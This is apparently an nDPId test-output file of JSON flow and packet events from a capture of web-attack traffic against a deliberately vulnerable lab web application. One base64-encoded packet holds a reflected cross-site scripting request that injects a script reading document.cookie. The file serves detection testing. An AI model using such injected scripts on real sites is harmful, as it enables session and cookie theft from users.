+00947{"flow_id":380,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5418,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347615,"pkt_ts_usec":984897,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzauBAAD4GWXmsEAABwKgKMuaiAFBCbDaNnELUzYAYAOVJBwAAAQEICgE7YQgD5S3IR0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +00773{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":5418,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":380,"flow_packet_id":4,"flow_first_seen":1499347611162,"flow_last_seen":1499347615984,"flow_tot_l4_data_len":527,"flow_min_l4_data_len":32,"flow_max_l4_data_len":415,"flow_avg_l4_data_len":131,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59042,"dst_port":80,"l4_proto":"tcp","ndpi": {"flow_risk": {"12":"HTTP Numeric IP Address"},"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"205.174.165.68","url":"205.174.165.68\/dv\/vulnerabilities\/xss_r\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (X11; Linux x86_64; rv:45.0) Gecko\/20100101 Firefox\/45.0"}} +00432{"flow_id":380,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5419,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347615,"pkt_ts_usec":985035,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AMGxFOsxABm5CmnxCABFAAA05rBAAEAG3SfAqAoyrBAAAQBQ5qKcQtTNQmw4DIAQAOuTxQAAAQEICgPlMn0BO2EI"} +02829{"flow_id":380,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5420,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347615,"pkt_ts_usec":987909,"pkt_caplen":1837,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1837,"pkt_l4_len":1803,"pkt":"AMGxFOsxABm5CmnxCABFAAcf5rFAAEAG1jvAqAoyrBAAAQBQ5qKcQtTNQmw4DIAYAOt9\/QAAAQEICgPlMn4BO2EISFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI2OjU1IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9MTAwDQpDb25uZWN0aW9uOiBLZWVwLUFsaXZlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDtjaGFyc2V0PXV0Zi04DQoNCh+LCAAAAAAAAAOtWG1P4zgQ\/gzS\/gefTzpgpcbb2y+3XJoVtHAgsbfctix70kmRm7itwYmD7bTw72\/sOG14LdkioeKXeXk84xnP5N12+Mvga3\/07\/kRmplMoPOLw7PTPsIdQi4\/9gkZjAbox8noyxnqBh\/Q0CieGEKO\/sYIz4wp9glZLBbB4mMg1ZSMvpFbK6Vr2fywox1PkJoUR++2322HTs9tJnLde0JG99OnTxVrRb4VzhhNYbi1FWbMUGRZOuym5PMe7svcsNx0RncFwyipZj1s2K0hVsSfKJlRpZnpXYyOO39gRCqZW6HhRrDoeylypuiYC27u9tE3NhEsMSxFfSW1RkNuGBomiheG51O0+2M43EP7+2hAsxzVvIKhSzZGB0UheEINlznaHXy\/PNhD827Q\/YDeD9icCVlkAO19SCrFHoXg+TVSTPSwNneC6RljBiMDp\/GHSLTGaKbYpIeDgMBfOl9Qu0oyyvPAbZPH0jiYopbzH8\/olBFYui9pQueWLHAbSxnanbYJ4YrOabWKkVbJPSBX2v0\/BwXBlcZRSCpK7zniXWfHY5neoURQbb0uM4Yrl6Z8jnjaw9Z3cCKmvNcbW1ZIY30r5Nn0ERJ3SE2EnMqgyKcYUQEXYY2jVucGrKDukWpr5BgcVza0P9qLC5qmLK0OBASlqM9pdw+FTK6taQRHMk9A9XUPL3ieykUAWw5Hb6c6SbCDa1ZgoPfcFeDoBMwWEgpWFjzafo1AnkP0lYld0kExK16Q\/5AUR6eNlXZqIeDKYo2+JQ2OhnaICIQfLKLBYUMZKUW0gUHnjfjmcD3GqjSMvIDqaQYcHdr\/6FiqpKUHHgpktyxpA8DR46gvs4zmKTrNr5jzyGYoEq0mbVA4ekAx\/Ha8meIJJ8HnAkK1x4GzTNmaW\/IqfhwdcwjuU7uiN7ZNWQhJ0zbW8RwexoWbbegfWhh4uVq5yLO4uGVJqRjqH5yP+icHm0HRN4K3weHoIab\/OXury2olxmN43Fo5pcH1AA3aPbTLe5uhWjB6HfNWkGoWHF3CCA2ZtrcVnQ5apteHcm+1jlsBqRhwBPUM1Cpfv2xoCitONfRrVlVRr8KhahzL4usN0Oi21tA1iqGR6j6EDZ8gF4tQXa59DldkOLL1I9yPaqmdOYCf5xO5Rl2DCkfnJ+cQHRPZThEdy9KsUbOkwdGBHb6dWW2ht1b9ighHZ278AICv2O7Vfs8XgraEXRWC0MnYXa\/b7jULwXDW\/ZnuAkrmri+YG8Lnywo2TmTKYqoY9fXzRKoM5TSDah34oex1Ka6Hf8UIuqWZBOx\/HY18bRoW\/sSXM2p2NLqTpXLMn+vKOi\/KZvGPvWj7u6xvm0S6HGccyOZUlDAdVlOvjRRR1VQQi9Ituq5gaeBw9nv0BeLN3T6V0eqtgEW7590Dl2HlVtv7ad8vygXVhWsZ4YawW+tl4gzb0WDYeGnY2BkWuiGqptAIYngUaH6No5+XtbxErfEBdwxFgmEqPoKuCo4b96G9MfHQd34tMb4sbz1OlgcLfs0LlnLqRNtZ8+S6Pvnz2F4v42U8\/pjJlC9zYSIzm507E3oTuC8CT4J4BeOrNFc4qWDKdJ2EF9U9om7q8Mmluup14zhW0G5Wv3UGeSbj+LBPBKNqGUxPpSV9pw3LYpvKnwzPcWmMbXN9eH7nbIFOmCiWKbOQRVnENZnM+1XSXfX8+0BxUeyiZx7bOUiMZyDRXsfPAMk96b\/VjugJudhBezhCa2ENIRcl7G2BaSdzLTRrTSr4FNKmYBNIXyHLogvNlE17+yGBGaJpxnPvQpjXbzM6sx93PA1IXFHAo3o6GPqdlGubvdPai886dCKlufeto4g2+dhUPPWqNRMwse9W9VnOfTCL\/geoshewERQAAA=="} +00432{"flow_id":380,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5421,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347615,"pkt_ts_usec":990887,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0auFAAD4GWvesEAABwKgKMuaiAFBCbDgMnELbuIAQAQCMwwAAAQEICgE7YQkD5TJ+"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5422,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":383,"flow_packet_id":1,"flow_first_seen":1499347616210,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59096,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":383,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5422,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347616,"pkt_ts_usec":210936,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8YLdAAD4GZRmsEAABwKgKMubYAFBJnwH3AAAAAKACchDJyQAAAgQFtAQCCAoBO2FAAAAAAAEDAwc="} +00444{"flow_id":383,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5423,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347616,"pkt_ts_usec":211064,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5thWFuJlSZ8B+KAScSBbkQAAAgQFtAQCCAoD5TK2ATthQAEDAwc="} +01215{"flow_id":380,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5424,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347616,"pkt_ts_usec":212886,"pkt_caplen":651,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":651,"pkt_l4_len":617,"pkt":"ABm5CmnxAMGxFOsxCABFAAJ9auJAAD4GWK2sEAABwKgKMuaiAFBCbDgMnELbuIAYAQC6dAAAAQEICgE7YUED5TJ+R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvP25hbWU9JTNDc2NyaXB0JTNFY29uc29sZS5sb2clMjglMjdPOThIRDBHOUVKN01ORjdOTzRaNjg3WUJQVUVYT0MzUVlHWldCNlAxVUU2WUo0MzdGOCUyNyUyOSUzQmNvbnNvbGUubG9nJTI4ZG9jdW1lbnQuY29va2llJTI5JTNCJTNDJTJGc2NyaXB0JTNFIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNClJlZmVyZXI6IGh0dHA6Ly8yMDUuMTc0LjE2NS42OC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvDQpDb29raWU6IHNlY3VyaXR5PWxvdzsgc2VjdXJpdHk9bG93OyBQSFBTRVNTSUQ9djZvb2tmNmUyNm4xaWRvNXNpdmU2c2FpNzENCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0K"} +00432{"flow_id":383,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5425,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347616,"pkt_ts_usec":212965,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0YLhAAD4GZSCsEAABwKgKMubYAFBJnwH4VhbiZoAQAOX6lwAAAQEICgE7YUED5TK2"} +02967{"flow_id":380,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5426,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347616,"pkt_ts_usec":215795,"pkt_caplen":1935,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1935,"pkt_l4_len":1901,"pkt":"AMGxFOsxABm5CmnxCABFAAeB5rNAAEAG1dfAqAoyrBAAAQBQ5qKcQtu4Qmw6VYAYAPR+XwAAAQEICgPlMrcBO2FBSFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI2OjU2IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTUxOA0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTkNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61Y\/0\/bOhD\/GaT9D35+0gMmNV4f0\/iyNhNtYTDB6NZ2jOlJkZu4rcGJs9hp4b9\/Zydpw9eSFQkVx74vn\/Odz3d+s974q3Pe7l92D9FEhwJ1B63TkzbCNUIuttuEdPod9PO4f3aK6s471NMJ9zUhh18xwhOt431CZrOZM9t2ZDIm\/e\/kxkipG7Z8WFOWxwl0gN0362\/WG1bPTSgi1XxERn1vby9jzcjXGhNGAxiurTVCpikyLDX2O+XTJm7LSLNI1\/q3McPIz76aWLMbTYyIj8if0EQx3Rz0j2q7GJFM5lpDcy2Y+yMVEUvokAuub\/fRdzYSzNcsQO1EKoV6XDPU8xMeax6N0ebPXm8L7e+jDg0jVPAKhi7YEB3EseA+1VxGaLPz4+JgC03rTv0detthUyZkHAK0tw2SKc5RCB5do4SJJlb6VjA1YUxjpMGa3AhfKYwmCRs1seMQ+AumM2pmSUh55Nhl8lAah60o5PzHQzpmBKbuShrRqSFz7MJchrLWliFc0SnNZjFSiX8HyJWy\/7ugwLlS2G2QjDL3HMldZ8ZDGdwiX1BlvC5DhjOXBnyKeNDExndgEUtyr5eWjJDS\/FqDh+MHSKyRigg5lk4cjTGiAgJhiaMWdgNWUPdAtdlkDxyXlrQ\/WPNiGgQsyAwCglQUdprVlpD+tdkawZGMfFB93cQzHgVy5sCSxdHcyCxxNnDBCgz0jrsc7B7DtjUIhV0W3F1\/iUAewelLfTOlnHgSPyP\/Pil2T0oz1dTCgUvjJfrmNNjtmSEicPxgEnVaJWUkFe4KGzotnW8O4TFMUs3IM6geZ8Buy\/xHRzLxK3rgvkB2w\/wqACw9dtsyDGkUoJPoilmPrIbCV8moCgpLDyh6349WUzzixPkUw1FtcuBMA7YkSl7Ej90jDof7xMyolfcmjYWkQZXdyTlyGAP7taJ\/aKzh5qrkopzFnlvmpwlD7YNuv318sBoU9VvwKjgsPZzpb6evFaxGojeEy62SU0pc99CgzZaZ3loN1YzRa49XglSwYPcCRqjHlIlWdNKpmF7vy71RyqsEJGPALtQzUKucn624FUZcUtKvWFZFvQhHUuCYF1+vgEZV3Q1VoOhpmdyFsOIVZM8iVJdLr8MFGXZN\/QjxkU1V2w7g59FILlFXosJu97gLp2MkqymiQ5nqJWrmNNg9MMPX21ZT6C1VvyDC7qkd3wOQV2x3ar+nC0FTwi4KQehkzGqu26yVC8HGpP4n3QWUzPW8YC4Jn84rWM+XAfNowmheP49kEqKIhlCtAz+UvTbFNfHfGEG3NJGA\/fNhP69NG3Fu8cWE6g2FbmWaWOZPRWUdxWm5+Me5aPM7r2\/LRCodhhzIplSk8NnLPnNtJHazpoIYlBneOGHuMRNCorzVcKHyV1Iw8PB4c+N8b\/e48+7z3uGXnbOvRztfz9\/\/+rC7c9nqDg5\/nre3v11+\/nXR+tCtDw4\/XH55v71ztLux9bEsIZB+ajotx5fymrOtj\/OWBOAkzLpm4eHG5F\/3DA68Df8kpNllBZNmLY8PiMZFXJnmU+UNq5xRFdueFUKU3ZgwI9azNQWe9eae9axnoR2jyRg6UQy3Eo2usfvnsuZRXBkfcHtQpWiWeIfQ1oG5Xhv6K+318tazIsbn5S3HySJnxq95zAJOrWjzVbZcFZY\/je3lMp7Hk5vpj\/k8GfsyNNdDbUR\/O\/ZJ4lEQL2B8keYMJxUs0XUr4Vl1D6jLOvLsloV60bkOE+h3s98ihT2R8vK84wtGk\/lpfiwvqlulWeiZu+TR\/DBMtTZ9dp4ffnA2Q3D843nOjmWcxl5BJqN2lvUXjw77QDGIN9ETt\/0UJHoTkGjC8RNAsjXFP4UjmkLONtAWdtFSWD1Ihj57XWDKylwKzewmFXwMeVuwEeTPBgvdgWKJybv7DQJfiAYhj3IXwndRHKBT87qU04DEBQXc6iedXr4ScGWuj6Dw4pMOHUmp7zy2xO4qr13xY9dqOQETc3Fm74L2xc79HxopxMGSFAAA"} +00433{"flow_id":380,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5427,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347616,"pkt_ts_usec":217871,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0auNAAD4GWvWsEAABwKgKMuaiAFBCbDpVnELhYIAQAReESQAAAQEICgE7YUID5TK3"} +00433{"flow_id":380,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5428,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347616,"pkt_ts_usec":218884,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0auRAAD4GWvSsEAABwKgKMuaiAFBCbDpVnELjBYAQAS6CjQAAAQEICgE7YUID5TK3"} +00948{"flow_id":380,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5429,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347617,"pkt_ts_usec":223837,"pkt_caplen":449,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":449,"pkt_l4_len":415,"pkt":"ABm5CmnxAMGxFOsxCABFAAGzauVAAD4GWXSsEAABwKgKMuaiAFBCbDpVnELjBYAYAS4wmQAAAQEICgE7Yj4D5TK3R0VUIC9kdi92dWxuZXJhYmlsaXRpZXMveHNzX3IvIEhUVFAvMS4xDQpIb3N0OiAyMDUuMTc0LjE2NS42OA0KVXNlci1BZ2VudDogTW96aWxsYS81LjAgKFgxMTsgTGludXggeDg2XzY0OyBydjo0NS4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzQ1LjANCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLVVTLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvb2tpZTogc2VjdXJpdHk9bG93OyBzZWN1cml0eT1sb3c7IFBIUFNFU1NJRD12Nm9va2Y2ZTI2bjFpZG81c2l2ZTZzYWk3MQ0KQ29ubmVjdGlvbjoga2VlcC1hbGl2ZQ0KDQo="} +02821{"flow_id":380,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5430,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347617,"pkt_ts_usec":227014,"pkt_caplen":1836,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1836,"pkt_l4_len":1802,"pkt":"AMGxFOsxABm5CmnxCABFAAce5rVAAEAG1jjAqAoyrBAAAQBQ5qKcQuMFQmw71IAYAP19\/AAAAQEICgPlM7QBO2I+SFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBUaHUsIDA2IEp1bCAyMDE3IDEzOjI2OjU3IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjE4IChVYnVudHUpDQpFeHBpcmVzOiBUdWUsIDIzIEp1biAyMDA5IDEyOjAwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tY2FjaGUsIG11c3QtcmV2YWxpZGF0ZQ0KUHJhZ21hOiBuby1jYWNoZQ0KVmFyeTogQWNjZXB0LUVuY29kaW5nDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpDb250ZW50LUxlbmd0aDogMTQxOQ0KS2VlcC1BbGl2ZTogdGltZW91dD01LCBtYXg9OTgNCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sO2NoYXJzZXQ9dXRmLTgNCg0KH4sIAAAAAAAAA61YbU\/jOBD+DNL+B59POmClxtvbL7dcmhW0cCCxt9y2LHvSSZGbuK3BiYPttPDvb+w4bXgt2SKh4pd5eTzjGc\/k3Xb4y+Brf\/Tv+RGamUyg84vDs9M+wh1CLj\/2CRmMBujHyejLGeoGH9DQKJ4YQo7+xgjPjCn2CVksFsHiYyDVlIy+kVsrpWvZ\/LCjHU+QmhRH77bfbYdOz20mct17Qkb306dPFWtFvhXOGE1huLUVZsxQZFk67Kbk8x7uy9yw3HRGdwXDKKlmPWzYrSFWxJ8omVGlmeldjI47f2BEKplboeFGsOh7KXKm6JgLbu720Tc2ESwxLEV9JbVGQ24YGiaKF4bnU7T7YzjcQ\/v7aECzHNW8gqFLNkYHRSF4Qg2XOdodfL882EPzbtD9gN4P2JwJWWQA7X1IKsUeheD5NVJM9LA2d4LpGWMGIwOn8YdItMZoptikh4OAwF86X1C7SjLK88Btk8fSOJiilvMfz+iUEVi6L2lC55YscBtLGdqdtgnhis5ptYqRVsk9IFfa\/T8HBcGVxlFIKkrvOeJdZ8djmd6hRFBtvS4zhiuXpnyOeNrD1ndwIqa81xtbVkhjfSvk2fQREndITYScyqDIpxhRARdhjaNW5wasoO6RamvkGBxXNrQ\/2osLmqYsrQ4EBKWoz2l3D4VMrq1pBEcyT0D1dQ8veJ7KRQBbDkdvpzpJsINrVmCg99wV4OgEzBYSClYWPNp+jUCeQ\/SViV3SQTErXpD\/kBRHp42Vdmoh4Mpijb4lDY6GdogIhB8sosFhQxkpRbSBQeeN+OZwPcaqNIy8gOppBhwd2v\/oWKqkpQceCmS3LGkDwNHjqC+zjOYpOs2vmPPIZigSrSZtUDh6QDH8dryZ4gknwecCQrXHgbNM2Zpb8ip+HB1zCO5Tu6I3tk1ZCEnTNtbxHB7GhZtt6B9aGHi5WrnIs7i4ZUmpGOofnI\/6JwebQdE3grfB4eghpv85e6vLaiXGY3jcWjmlwfUADdo9tMt7m6FaMHod81aQahYcXcIIDZm2txWdDlqm14dyb7WOWwGpGHAE9QzUKl+\/bGgKK0419GtWVVGvwqFqHMvi6w3Q6LbW0DWKoZHqPoQNnyAXi1Bdrn0OV2Q4svUj3I9qqZ05gJ\/nE7lGXYMKR+cn5xAdE9lOER3L0qxRs6TB0YEdvp1ZbaG3Vv2KCEdnbvwAgK\/Y7tV+zxeCtoRdFYLQydhdr9vuNQvBcNb9me4CSuauL5gbwufLCjZOZMpiqhj19fNEqgzlNINqHfih7HUprod\/xQi6pZkE7H8djXxtGhb+xJczanY0upOlcsyf68o6L8pm8Y+9aPu7rG+bRLocZxzI5lSUMB1WU6+NFFHVVBCL0i26rmBp4HD2e\/QF4s3dPpXR6q2ARbvn3QOXYeVW2\/tp3y\/KBdWFaxnhhrBb62XiDNvRYNh4adjYGRa6Iaqm0AhieBRofo2jn5e1vESt8QF3DEWCYSo+gq4Kjhv3ob0x8dB3fi0xvixvPU6WBwt+zQuWcupE21nz5Lo++fPYXi\/jZTz+mMmUL3NhIjObnTsTehO4LwJPgngF46s0VzipYMp0nYQX1T2iburwyaW66nXjOFbQbla\/dQZ5JuP4sE8Eo2oZTE+lJX2nDctim8qfDM9xaYxtc314fudsgU6YKJYps5BFWcQ1mcz7VdJd9fz7QHFR7KJnHts5SIxnINFex88AyT3pv9WO6Am52EF7OEJrYQ0hFyXsbYFpJ3MtNGtNKvgU0qZgE0hfIcuiC82UTXv7IYEZomnGc+9CmNdvMzqzH3c8DUhcUcCjejoY+p2Ua5u909qLzzp0IqW5962jiDb52FQ89ao1EzCx71b1Wc59MIv+B6iyF7ARFAAA"} +00433{"flow_id":380,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5431,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347617,"pkt_ts_usec":227908,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0auZAAD4GWvKsEAABwKgKMuaiAFBCbDvUnELp74AQAUl4DwAAAQEICgE7Yj8D5TO0"} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":5432,"source":"WebattackXSS.pcap","alias":"nDPId-test","flow_id":384,"flow_packet_id":1,"flow_first_seen":1499347617491,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.0.1","dst_ip":"192.168.10.50","src_port":59110,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":384,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5432,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347617,"pkt_ts_usec":491735,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"ABm5CmnxAMGxFOsxCABFAAA8VDpAAD4GcZasEAABwKgKMubmAFD8gja7AAAAAKACchDg0gAAAgQFtAQCCAoBO2KBAAAAAAEDAwc="} +00445{"flow_id":384,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5433,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347617,"pkt_ts_usec":491896,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMGxFOsxABm5CmnxCABFAAA8AABAAEAGw9DAqAoyrBAAAQBQ5ubMDNHo\/II2vKAScSAL4QAAAgQFtAQCCAoD5TP2ATtigQEDAwc="} +00432{"flow_id":384,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5434,"source":"WebattackXSS.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1499347617,"pkt_ts_usec":492438,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"ABm5CmnxAMGxFOsxCABFAAA0VDtAAD4GcZ2sEAABwKgKMubmAFD8gja8zAzR6YAQAOWq6AAAAQEICgE7YoED5TP2"} 